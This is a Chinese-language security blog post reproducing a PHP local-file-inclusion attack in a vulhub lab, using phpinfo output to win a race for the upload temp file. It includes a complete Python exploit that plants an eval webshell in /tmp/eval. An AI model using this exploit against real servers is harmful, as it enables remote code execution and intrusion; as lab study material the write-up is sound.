N0rth3ty's Blog.

phpinfo with LFI

字数统计: 1.2k阅读时长: 5 min
2018/10/26 Share

利用场景

PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。

漏洞原理

本质是一个条件竞争
在对一个页面进行文件上传时,无论这个页面将来是否要利用这个文件,php都会将这个文件保存成一个临时文件,默认为 tmp/php[\d\w]{6}
关于这个文件的信息可以通过$_FILES变量获取,这个临时文件将在脚本执行结束时被php销毁
所以我们可以在她销毁之前去进行包含,即文件在被销毁之前已经执行了,达到了我们写shelll的目的

漏洞环境

这里使用了vulhub的docker镜像
其实也就一个包含点

1
2
<?php
include $_GET['file'];

和phpinfo页面

1
2
3
<?php
phpinfo();
>

复现

先像phpinfo页面发送一个上传包进行测试,这里可以使用curl。
但是我还是习惯直接写个html(

1
2
3
4
5
6
7
<form action="http://x.x.x.x:8080/phpinfo.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

根据phpinfo页面返回的信息可以看到临时文件名
image
这里还有一个问题就是我们不能等待一次完整的http请求完成,请求完成的时候文件已经被删除了。所以我们要使用socket直接操纵http请求
这个时候就需要用到条件竞争,具体流程如下:

  • 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
  • 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
  • php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
  • 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
  • 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
  • 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
    构造exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    import os
    import socket
    import sys


    tag = 'kingkk'
    PAYLOAD="""{}\r
    <?php file_put_contents('/tmp/eval', '<?=eval($_REQUEST[1])?>')?>\r""".format(tag)

    UPLOAD="""-----------------------------7dbff1ded0714\r
    Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
    Content-Type: text/plain\r
    \r
    {}
    -----------------------------7dbff1ded0714--\r""".format(PAYLOAD)

    padding="A" * 5000

    INFOREQ="""POST /phpinfo.php?a={padding} HTTP/1.1\r
    Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r
    HTTP_ACCEPT: {padding}\r
    HTTP_USER_AGENT: {padding}\r
    HTTP_ACCEPT_LANGUAGE: {padding}\r
    HTTP_PRAGMA: {padding}\r
    Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
    Content-Length: {len}\r
    Host: %s\r
    \r
    {upload}""".format(padding=padding, len=len(UPLOAD), upload=UPLOAD)

    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
    User-Agent: Mozilla/4.0\r
    Proxy-Connection: Keep-Alive\r
    Host: %s\r
    \r
    \r
    """

    class PHPINFO_LFI():
    def __init__(self, host, port):
    self.host = host
    self.port = int(port)
    self.req_payload= (INFOREQ % self.host).encode('utf-8')
    self.lfireq = LFIREQ
    self.offset = self.get_offfset()


    def get_offfset(self):
    '''
    获取tmp名字的offset
    '''
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((self.host, self.port))

    s.send(self.req_payload)
    page = b""
    while True:
    i = s.recv(4096)
    page+=i
    if i == "":
    break

    if i.decode('utf8').endswith("0\r\n\r\n"):
    break
    s.close()

    pos = page.decode('utf8').find("[tmp_name] =&gt; ")
    print('get the offset :{} '.format(pos))

    if pos == -1:
    raise ValueError("No php tmp_name in phpinfo output")

    return pos+256 #多加一些字节

    def phpinfo_lfi(self):
    '''
    同时发送phpinfo请求与lfi请求
    '''
    phpinfo = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    lfi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    phpinfo.connect((self.host, self.port))
    lfi.connect((self.host, self.port))

    phpinfo.send(self.req_payload)

    infopage = b""
    while len(infopage) < self.offset:
    infopage += phpinfo.recv(self.offset)

    pos = infopage.decode('utf8').index("[tmp_name] =&gt; ")
    tmpname = infopage[pos+17:pos+31]

    lfireq = self.lfireq % (tmpname.decode('utf8'),self.host)
    lfi.send(lfireq.encode('utf8'))

    fipage = lfi.recv(4096)

    phpinfo.close()
    lfi.close()

    if fipage.decode('utf8').find(tag) != -1:
    return tmpname


    if __name__ == '__main__':
    if len(sys.argv) < 4:
    print('usage:\n\texp.py 127.0.0.1 80 500')
    exit()
    host = sys.argv[1]
    port = sys.argv[2]
    attempts = sys.argv[3]
    print('{x}Start expolit {host}:{port} {attempts} times{x}'.format(x='*'*15, host=host, port=port, attempts=attempts))

    p = PHPINFO_LFI(host,port)
    for i in range(int(attempts)):
    print('Trying {}/{} times…'.format(i, attempts), end="\r")
    if p.phpinfo_lfi() is not None:
    print('Getshell success! at /tmp/eval "<?=eval($_REQUEST[1])?>"')
    exit()
    print(':( Failed')

执行exp后成功写入文件
然后再去包含该文件即可命令执行
image

个人感觉其实可以用包含写一个shell就可以了,然后就不用再包含了
等这段时间忙完再倒回来填坑

https://github.com/vulhub/vulhub/tree/master/php/inclusion

CATALOG
  1. 1. 利用场景
  2. 2. 漏洞原理
  3. 3. 漏洞环境
  4. 4. 复现
  5. 5. Reference Link